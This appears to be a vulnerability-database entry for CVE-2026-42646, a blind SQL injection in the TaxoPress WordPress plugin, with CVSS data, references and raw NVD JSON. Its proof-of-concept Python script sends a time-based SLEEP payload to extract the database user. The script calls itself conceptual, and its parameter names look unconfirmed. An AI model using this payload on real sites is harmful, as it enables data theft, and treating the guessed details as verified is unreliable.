CVE-2026-42646

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Steve Burge TaxoPress simple-tags allows Blind SQL Injection.This issue affects TaxoPress: from n/a through <= 3.44.0.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

TaxoPress <= 3.44.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

# Proof of Concept for CVE-2026-42646 (Blind SQL Injection)
# Note: This is a conceptual demonstration. Requires valid high-privileged session.

target_url = "http://target-wordpress-site.com/wp-admin/admin.php"
vulnerable_param = "post_tag"

# Attacker's cookies (High privilege required, e.g., Administrator)
cookies = {
    "wordpress_logged_in_xxx": "valid_admin_session_cookie"
}

# Payload template for Time-Based Blind SQL Injection
# Checks if the first character of the database user is 'r'
payload = "1' AND IF(SUBSTRING(USER(),1,1)='r', SLEEP(5), 0)-- -"

params = {
    "page": "st_taxo", 
    "action": "add",
    vulnerable_param: payload
}

try:
    print("[+] Sending malicious payload...")
    start_time = time.time()
    response = requests.get(target_url, params=params, cookies=cookies, timeout=10)
    end_time = time.time()
    
    elapsed_time = end_time - start_time
    
    if elapsed_time >= 5:
        print(f"[+] Vulnerability Confirmed! Response delay: {elapsed_time:.2f}s")
        print("[+] Database user likely starts with 'r'")
    else:
        print("[-] Payload did not trigger a delay or condition was false.")
        
except Exception as e:
    print(f"Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42646
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42646
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42646/
[4] VulDB https://vuldb.com/cve/CVE-2026-42646
[5] https://patchstack.com/database/Wordpress/Plugin/simple-tags/vulnerability/wordpress-taxopress-plugin-3-44-0-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42646", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:19.927", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Steve Burge TaxoPress simple-tags allows Blind SQL Injection.This issue affects TaxoPress: from n/a through <= 3.44.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-tags/vulnerability/wordpress-taxopress-plugin-3-44-0-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}